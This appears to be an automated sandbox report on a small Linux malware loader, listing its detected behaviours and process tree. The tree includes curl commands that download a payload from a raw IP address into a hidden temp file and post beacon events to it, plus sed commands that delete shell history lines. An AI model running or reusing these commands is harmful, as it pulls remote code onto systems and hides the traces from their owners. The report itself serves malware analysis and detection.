Analysis

  • max time kernel
    3s
  • platform
    debian-9_armhf
  • resource
    debian9-armhf-20260513-en
  • resource tags

    arch:armhfimage:debian9-armhf-20260513-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
  • submitted
    22/10/2026, 18:25

General

  • Target
    87da77e63a37
  • Size 4KB
  • Sample261022-w2ql8sew2x
  • SHA256 5e6344e847341634933353ce78815fd570bf4f6a9f4f9fc5e12a02be98503bc9
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Reads Bash history 1 TTPs 1 IoCs

    Adversaries may search the bash command history on compromised systems for insecurely stored credentials.

  • Deobfuscate/Decode Files or Information 1 TTPs 1 IoCs

    Adversaries may deobfuscate or decode files or information to evade detection mechanisms.

  • Checks CPU configuration 1 TTPs 3 IoCs

    Checks CPU information which indicate if the system is a virtual machine.

  • Reads CPU attributes 1 TTPs 1 IoCs
  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

Processes

  • /tmp/87da77e63a37
    /tmp/87da77e63a37
    1⤵
      PID:651
      • /bin/date
        date "+%s"
        2⤵
          PID:665
        • /usr/bin/whoami
          whoami
          2⤵
            PID:672
          • /usr/bin/head
            head -1
            2⤵
              PID:678
            • /usr/bin/cut
              cut -d: -f2
              2⤵
                PID:679
              • /usr/bin/id
                id -u
                2⤵
                  PID:682
                • /bin/mktemp
                  mktemp -d
                  2⤵
                    PID:684
                  • /bin/mkdir
                    mkdir -p /root/Library/Caches/com.apple.frameworks
                    2⤵
                    • Reads runtime system information
                    PID:685
                  • /usr/bin/id
                    id -u
                    2⤵
                    • Reads runtime system information
                    PID:689
                  • /usr/bin/head
                    head -1
                    2⤵
                      PID:693
                    • /usr/bin/cut
                      cut -d: -f2
                      2⤵
                        PID:694
                      • /usr/bin/pkill
                        pkill -9 -f com.apple.syslogd
                        2⤵
                        • Reads CPU attributes
                        • Reads runtime system information
                        PID:696
                      • /bin/sleep
                        sleep 0.2
                        2⤵
                          PID:697
                        • /usr/bin/base64
                          base64 -D
                          2⤵
                          • Deobfuscate/Decode Files or Information
                          PID:701
                        • /usr/bin/head
                          head -c8 /dev/urandom
                          2⤵
                            PID:703
                          • /usr/bin/od
                            od -An -tx1
                            2⤵
                              PID:704
                            • /usr/bin/tr
                              tr -d " \\n"
                              2⤵
                                PID:705
                              • /usr/bin/curl
                                curl -sX POST -H "Content-Type: application/json" -d "{\"e\":\"loader_start\",\"rid\":\"5177964cfcc995eb\",\"src\":\"http://138.124.78.70/2696c7f9d97b3b?force=1\"}" -m 5
                                2⤵
                                • Checks CPU configuration
                                • Reads runtime system information
                                PID:706
                              • /bin/uname
                                uname -m
                                2⤵
                                  PID:707
                                • /usr/bin/id
                                  id -u
                                  2⤵
                                    PID:709
                                  • /usr/bin/getconf
                                    getconf DARWIN_USER_CACHE_DIR
                                    2⤵
                                      PID:711
                                    • /bin/sed
                                      sed -i "\$d" /root/.zsh_history
                                      2⤵
                                        PID:713
                                      • /usr/bin/curl
                                        curl -kfsSL --connect-timeout 20 --max-time 900 --retry 3 --retry-delay 2 --retry-all-errors "http://138.124.78.70/9e53ca10?force=1" -o /tmp/tmp.K0f3Q65VxS/.aFZH3D
                                        2⤵
                                        • Checks CPU configuration
                                        • Reads runtime system information
                                        PID:714
                                      • /bin/sed
                                        sed -i "\$d" /root/.bash_history
                                        2⤵
                                        • Reads Bash history
                                        • Reads runtime system information
                                        PID:715
                                      • /usr/bin/id
                                        id -u
                                        2⤵
                                          PID:717
                                        • /bin/rm
                                          rm -rf /tmp/tmp.K0f3Q65VxS
                                          2⤵
                                            PID:720
                                          • /usr/bin/curl
                                            curl -sX POST -H "Content-Type: application/json" -d "{\"e\":\"download_fail\",\"rid\":\"5177964cfcc995eb\",\"src\":\"http://138.124.78.70/2696c7f9d97b3b?force=1\"}" -m 3
                                            2⤵
                                            • Checks CPU configuration
                                            • Reads runtime system information
                                            PID:719

                                        Network

                                              MITRE ATT&CK Enterprise v16

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